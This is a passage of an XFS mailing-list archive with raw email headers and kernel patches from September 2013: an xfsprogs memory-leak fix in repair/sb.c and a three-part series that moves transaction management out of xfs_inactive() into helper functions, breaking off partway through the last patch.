e28smtp03.in.ibm.com (e28smtp03.in.ibm.com [122.248.162.3]) by cuda.sgi.com with ESMTP id blI535EZD6ItKLWY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 18 Sep 2013 02:40:55 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.3 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] Received: from /spool/local by e28smtp03.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 18 Sep 2013 15:10:51 +0530 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.3] Received: from d28dlp01.in.ibm.com (9.184.220.126) by e28smtp03.in.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 18 Sep 2013 15:10:47 +0530 Received: from d28relay05.in.ibm.com (d28relay05.in.ibm.com [9.184.220.62]) by d28dlp01.in.ibm.com (Postfix) with ESMTP id A8CCFE0056 for ; Wed, 18 Sep 2013 15:11:44 +0530 (IST) Received: from d28av01.in.ibm.com (d28av01.in.ibm.com [9.184.220.63]) by d28relay05.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8I9ejoQ47710262 for ; Wed, 18 Sep 2013 15:10:45 +0530 Received: from d28av01.in.ibm.com (localhost [127.0.0.1]) by d28av01.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8I9ekVF016110 for ; Wed, 18 Sep 2013 15:10:46 +0530 Received: from [9.125.28.108] ([9.125.28.108]) by d28av01.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8I9ehIA015955 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 18 Sep 2013 15:10:45 +0530 Message-ID: <1379497242.5874.7.camel@ThinkPad-T5421> Subject: [PATCH] xfsprogs: fix potential memory leak in repare/sb.c From: Li Zhong X-ASG-Orig-Subj: [PATCH] xfsprogs: fix potential memory leak in repare/sb.c To: xfsprogs Cc: Chandra Seetharaman Date: Wed, 18 Sep 2013 17:40:42 +0800 Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13091809-3864-0000-0000-00000A206151 X-Barracuda-Connect: e28smtp03.in.ibm.com[122.248.162.3] X-Barracuda-Start-Time: 1379497254 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Following Resource leak is reported by coverity: CID 997011 (#1 of 1): Resource leak (RESOURCE_LEAK)6. leaked_storage: Variable "buf" going out of scope leaks the storage it points to. 505 return(XR_EOF); Add a free(buf) to solve it. Signed-off-by: Li Zhong --- repair/sb.c | 1 + 1 file changed, 1 insertion(+) diff --git a/repair/sb.c b/repair/sb.c index e2f5933..aa550e3 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -502,6 +502,7 @@ get_sb(xfs_sb_t *sbp, xfs_off_t off, int size, xfs_agnumber_t agno) do_warn( _("error reading superblock %u -- seek to offset %" PRId64 " failed\n"), agno, off); + free(buf); return(XR_EOF); } From bfoster@redhat.com Wed Sep 18 11:10:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 525A47F37 for ; Wed, 18 Sep 2013 11:10:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CFC38AC004 for ; Wed, 18 Sep 2013 09:10:32 -0700 (PDT) X-ASG-Debug-ID: 1379520631-04cbb02c3e116ae60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id wMd82fjaFPRk7XNm for ; Wed, 18 Sep 2013 09:10:31 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8IGAUMb032190 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 18 Sep 2013 12:10:31 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8IGAU5Q004658 for ; Wed, 18 Sep 2013 12:10:30 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 37FA51233CD; Wed, 18 Sep 2013 12:16:00 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 2/3] xfs: push down inactive transaction mgmt for truncate Date: Wed, 18 Sep 2013 12:15:59 -0400 X-ASG-Orig-Subj: [PATCH 2/3] xfs: push down inactive transaction mgmt for truncate Message-Id: <1379520960-22972-3-git-send-email-bfoster@redhat.com> In-Reply-To: <1379520960-22972-1-git-send-email-bfoster@redhat.com> References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379520631 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Create the new xfs_inactive_truncate() function to handle the truncate portion of xfs_inactive(). Push the locking and transaction management into the new function. Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 112 ++++++++++++++++++++++++++++++----------------------- 1 file changed, 63 insertions(+), 49 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 30db70e..9416462 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1663,6 +1663,53 @@ xfs_release( } /* + * xfs_inactive_truncate + * + * Called to perform a truncate when an inode becomes unlinked. + */ +STATIC int +xfs_inactive_truncate( + struct xfs_inode *ip) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + goto error0; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + + ip->i_d.di_size = 0; + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + + error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); + if (error) + goto error1; + + ASSERT(ip->i_d.di_nextents == 0); + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto error1; + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return 0; + +error1: + xfs_iunlock(ip, XFS_ILOCK_EXCL); +error0: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + return error; +} + +/* * xfs_inactive * * This is called when the vnode reference count for the vnode @@ -1679,7 +1726,6 @@ xfs_inactive( int committed; struct xfs_trans *tp; struct xfs_mount *mp; - struct xfs_trans_res *resp; int error; int truncate = 0; @@ -1724,35 +1770,12 @@ xfs_inactive( if (error) return VN_INACTIVE_CACHE; - if (S_ISLNK(ip->i_d.di_mode)) { + if (S_ISLNK(ip->i_d.di_mode)) error = xfs_inactive_symlink(ip); - if (error) - goto out; - } - - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; - - error = xfs_trans_reserve(tp, resp, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, 0); - return VN_INACTIVE_CACHE; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - - if (truncate) { - ip->i_d.di_size = 0; - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - - error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); - if (error) - goto out_cancel; - - ASSERT(ip->i_d.di_nextents == 0); - } + else if (truncate) + error = xfs_inactive_truncate(ip); + if (error) + goto out; /* * If there are attributes associated with the file then blow them away @@ -1763,25 +1786,9 @@ xfs_inactive( if (ip->i_d.di_anextents > 0) { ASSERT(ip->i_d.di_forkoff != 0); - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - goto out_unlock; - - xfs_iunlock(ip, XFS_ILOCK_EXCL); - error = xfs_attr_inactive(ip); if (error) goto out; - - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); - if (error) { - xfs_trans_cancel(tp, 0); - goto out; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); } if (ip->i_afp) @@ -1789,6 +1796,17 @@ xfs_inactive( ASSERT(ip->i_d.di_anextents == 0); + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); + goto out; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + /* * Free the inode. */ @@ -1831,13 +1849,9 @@ xfs_inactive( * Release the dquots held by inode, if any. */ xfs_qm_dqdetach(ip); -out_unlock: xfs_iunlock(ip, XFS_ILOCK_EXCL); out: return VN_INACTIVE_CACHE; -out_cancel: - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); - goto out_unlock; } /* -- 1.8.1.4 From bfoster@redhat.com Wed Sep 18 11:10:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 790697F53 for ; Wed, 18 Sep 2013 11:10:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5F088304048 for ; Wed, 18 Sep 2013 09:10:35 -0700 (PDT) X-ASG-Debug-ID: 1379520631-04cb6c153d116b3b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FMAWyHfBTMDna319 for ; Wed, 18 Sep 2013 09:10:31 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8IGAUJS032188 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 18 Sep 2013 12:10:30 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r8IGAUWW013586 for ; Wed, 18 Sep 2013 12:10:30 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2D748122DE4; Wed, 18 Sep 2013 12:16:00 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks Date: Wed, 18 Sep 2013 12:15:58 -0400 X-ASG-Orig-Subj: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks Message-Id: <1379520960-22972-2-git-send-email-bfoster@redhat.com> In-Reply-To: <1379520960-22972-1-git-send-email-bfoster@redhat.com> References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379520631 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Push down the transaction management for remote symlinks from xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is cleaned up to avoid transaction management intended for the calling context (i.e., trans duplication, reservation, item attachment). Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 15 ++++++------ fs/xfs/xfs_symlink.c | 64 ++++++++++++++++++---------------------------------- fs/xfs/xfs_symlink.h | 2 +- 3 files changed, 31 insertions(+), 50 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index e3d7538..30db70e 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1724,9 +1724,14 @@ xfs_inactive( if (error) return VN_INACTIVE_CACHE; + if (S_ISLNK(ip->i_d.di_mode)) { + error = xfs_inactive_symlink(ip); + if (error) + goto out; + } + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - resp = (truncate || S_ISLNK(ip->i_d.di_mode)) ? - &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; + resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; error = xfs_trans_reserve(tp, resp, 0, 0); if (error) { @@ -1738,11 +1743,7 @@ xfs_inactive( xfs_ilock(ip, XFS_ILOCK_EXCL); xfs_trans_ijoin(tp, ip, 0); - if (S_ISLNK(ip->i_d.di_mode)) { - error = xfs_inactive_symlink(ip, &tp); - if (error) - goto out_cancel; - } else if (truncate) { + if (truncate) { ip->i_d.di_size = 0; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f622a97..f85f6f2 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -424,8 +424,7 @@ xfs_symlink( */ STATIC int xfs_inactive_symlink_rmt( - xfs_inode_t *ip, - xfs_trans_t **tpp) + xfs_inode_t *ip) { xfs_buf_t *bp; int committed; @@ -437,11 +436,9 @@ xfs_inactive_symlink_rmt( xfs_mount_t *mp; xfs_bmbt_irec_t mval[XFS_SYMLINK_MAPS]; int nmaps; - xfs_trans_t *ntp; int size; xfs_trans_t *tp; - tp = *tpp; mp = ip->i_mount; ASSERT(ip->i_df.if_flags & XFS_IFEXTENTS); /* @@ -453,6 +450,14 @@ xfs_inactive_symlink_rmt( */ ASSERT(ip->i_d.di_nextents > 0 && ip->i_d.di_nextents <= 2); + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + if (error) + goto error0; + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + /* * Lock the inode, fix the size, and join it to the transaction. * Hold it so in the normal path, we still have it locked for @@ -471,7 +476,7 @@ xfs_inactive_symlink_rmt( error = xfs_bmapi_read(ip, 0, xfs_symlink_blocks(mp, size), mval, &nmaps, 0); if (error) - goto error0; + goto error1; /* * Invalidate the block(s). No validation is done. */ @@ -481,7 +486,7 @@ xfs_inactive_symlink_rmt( XFS_FSB_TO_BB(mp, mval[i].br_blockcount), 0); if (!bp) { error = ENOMEM; - goto error1; + goto error2; } xfs_trans_binval(tp, bp); } @@ -490,13 +495,13 @@ xfs_inactive_symlink_rmt( */ if ((error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, &first_block, &free_list, &done))) - goto error1; + goto error2; ASSERT(done); /* * Commit the first transaction. This logs the EFI and the inode. */ if ((error = xfs_bmap_finish(&tp, &free_list, &committed))) - goto error1; + goto error2; /* * The transaction must have been committed, since there were * actually extents freed by xfs_bunmapi. See xfs_bmap_finish. @@ -508,29 +513,16 @@ xfs_inactive_symlink_rmt( * Mark it dirty so it will be logged and moved forward in the log as * part of every commit. */ - xfs_trans_ijoin(tp, ip, 0); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); /* - * Get a new, empty transaction to return to our caller. - */ - ntp = xfs_trans_dup(tp); - /* * Commit the transaction containing extent freeing and EFDs. - * If we get an error on the commit here or on the reserve below, - * we need to unlock the inode since the new transaction doesn't - * have the inode attached. */ - error = xfs_trans_commit(tp, 0); - tp = ntp; + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); if (error) { ASSERT(XFS_FORCED_SHUTDOWN(mp)); goto error0; } - /* - * transaction commit worked ok so we can drop the extra ticket - * reference that we gained in xfs_trans_dup() - */ - xfs_log_ticket_put(tp->t_ticket); /* * Remove the memory for extent descriptions (just bookkeeping). @@ -538,23 +530,14 @@ xfs_inactive_symlink_rmt( if (ip->i_df.if_bytes) xfs_idata_realloc(ip, -ip->i_df.if_bytes, XFS_DATA_FORK); ASSERT(ip->i_df.if_bytes == 0); - /* - * Put an itruncate log reservation in the new transaction - * for our caller. - */ - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - goto error0; - } - - xfs_trans_ijoin(tp, ip, 0); - *tpp = tp; return 0; - error1: +error2: xfs_bmap_cancel(&free_list); - error0: +error1: + xfs_iunlock(ip, XFS_ILOCK_EXCL); +error0: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); return error; } @@ -563,16 +546,13 @@ xfs_inactive_symlink_rmt( */ int xfs_inactive_symlink( - struct xfs_inode *ip, - struct xfs_trans **tp) + struct xfs_inode *ip) { struct xfs_mount *mp = ip->i_mount; int pathlen; trace_xfs_inactive_symlink(ip); - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - if (XFS_FORCED_SHUTDOWN(mp)) return XFS_ERROR(EIO); @@ -599,5 +579,5 @@ xfs_inactive_symlink( } /* remove the remote symlink */ - return xfs_inactive_symlink_rmt(ip, tp); + return xfs_inactive_symlink_rmt(ip); } diff --git a/fs/xfs/xfs_symlink.h b/fs/xfs/xfs_symlink.h index 99338ba..e75245d 100644 --- a/fs/xfs/xfs_symlink.h +++ b/fs/xfs/xfs_symlink.h @@ -22,6 +22,6 @@ int xfs_symlink(struct xfs_inode *dp, struct xfs_name *link_name, const char *target_path, umode_t mode, struct xfs_inode **ipp); int xfs_readlink(struct xfs_inode *ip, char *link); -int xfs_inactive_symlink(struct xfs_inode *ip, struct xfs_trans **tpp); +int xfs_inactive_symlink(struct xfs_inode *ip); #endif /* __XFS_SYMLINK_H */ -- 1.8.1.4 From bfoster@redhat.com Wed Sep 18 11:19:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 57D517F37 for ; Wed, 18 Sep 2013 11:19:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E666AAC005 for ; Wed, 18 Sep 2013 09:19:55 -0700 (PDT) X-ASG-Debug-ID: 1379521194-04cb6c153d116c760001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gFqlmgfRzo0rflaD for ; Wed, 18 Sep 2013 09:19:54 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8IGJlST027371 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 18 Sep 2013 12:19:53 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8IGAU6i022372 for ; Wed, 18 Sep 2013 12:10:30 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 22C3A123236; Wed, 18 Sep 2013 12:16:00 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 0/3] xfs: rework xfs_inactive() Date: Wed, 18 Sep 2013 12:15:57 -0400 X-ASG-Orig-Subj: [PATCH 0/3] xfs: rework xfs_inactive() Message-Id: <1379520960-22972-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379521194 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, This set reworks the xfs_inactive() path with the intent to clean up the transaction management overall. This is preparation work for the free inode btree set and subsequent work in the area. The patches clean up the remote symlink work, truncate work and ifree work respectively. This passes through a quick xfstests run (with debug and lockdep) without any major explosions. Thoughts appreciated. Brian Brian Foster (3): xfs: push down inactive transaction mgmt for remote symlinks xfs: push down inactive transaction mgmt for truncate xfs: push down inactive transaction mgmt for ifree fs/xfs/xfs_inode.c | 212 ++++++++++++++++++++++++++++++--------------------- fs/xfs/xfs_symlink.c | 64 ++++++---------- fs/xfs/xfs_symlink.h | 2 +- 3 files changed, 147 insertions(+), 131 deletions(-) -- 1.8.1.4 From bfoster@redhat.com Wed Sep 18 11:19:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 549317F37 for ; Wed, 18 Sep 2013 11:19:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D8482AC005 for ; Wed, 18 Sep 2013 09:19:56 -0700 (PDT) X-ASG-Debug-ID: 1379521195-04cbb02c3b116c390001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 5yCg3EgH16poF2e2 for ; Wed, 18 Sep 2013 09:19:55 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8IGJlSV027371 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 18 Sep 2013 12:19:54 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8IGAUer022378 for ; Wed, 18 Sep 2013 12:10:30 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 42B771233EE; Wed, 18 Sep 2013 12:16:00 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 3/3] xfs: push down inactive transaction mgmt for ifree Date: Wed, 18 Sep 2013 12:16:00 -0400 X-ASG-Orig-Subj: [PATCH 3/3] xfs: push down inactive transaction mgmt for ifree Message-Id: <1379520960-22972-4-git-send-email-bfoster@redhat.com> In-Reply-To: <1379520960-22972-1-git-send-email-bfoster@redhat.com> References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379521195 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Push the inode free work performed during xfs_inactive() down into a new xfs_inactive_ifree() helper. This clears xfs_inactive() from all inode locking and transaction management more directly associated with freeing the inode xattrs, extents and the inode itself. Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 121 +++++++++++++++++++++++++++++++---------------------- 1 file changed, 71 insertions(+), 50 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 9416462..a6ed69d 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1710,6 +1710,74 @@ error0: } /* + * xfs_inactive_ifree() + * + * Perform the inode free when an inode is unlinked. + */ +STATIC int +xfs_inactive_ifree( + struct xfs_inode *ip) +{ + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + int committed; + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); + return error; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + error = xfs_ifree(tp, ip, &free_list); + if (error) { + /* + * If we fail to free the inode, shut down. The cancel + * might do that, we need to make sure. Otherwise the + * inode might be lost for a long time or forever. + */ + if (!XFS_FORCED_SHUTDOWN(mp)) { + xfs_notice(mp, "%s: xfs_ifree returned error %d", + __func__, error); + xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); + } + xfs_iunlock(ip, XFS_ILOCK_EXCL); + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); + return error; + } + + /* + * Credit the quota account(s). The inode is gone. + */ + xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); + + /* + * Just ignore errors at this point. There is nothing we can + * do except to try to keep going. Make sure it's not a silent + * error. + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", + __func__, error); + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + xfs_notice(mp, "%s: xfs_trans_commit returned error %d", + __func__, error); + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return 0; +} + +/* * xfs_inactive * * This is called when the vnode reference count for the vnode @@ -1721,10 +1789,6 @@ int xfs_inactive( xfs_inode_t *ip) { - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - int committed; - struct xfs_trans *tp; struct xfs_mount *mp; int error; int truncate = 0; @@ -1796,60 +1860,17 @@ xfs_inactive( ASSERT(ip->i_d.di_anextents == 0); - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); - goto out; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - /* * Free the inode. */ - xfs_bmap_init(&free_list, &first_block); - error = xfs_ifree(tp, ip, &free_list); - if (error) { - /* - * If we fail to free the inode, shut down. The cancel - * might do that, we need to make sure. Otherwise the - * inode might be lost for a long time or forever. - */ - if (!XFS_FORCED_SHUTDOWN(mp)) { - xfs_notice(mp, "%s: xfs_ifree returned error %d", - __func__, error); - xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); - } - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); - } else { - /* - * Credit the quota account(s). The inode is gone. - */ - xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); - - /* - * Just ignore errors at this point. There is nothing we can - * do except to try to keep going. Make sure it's not a silent - * error. - */ - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) - xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", - __func__, error); - error = xfs_trans_commit(tp, 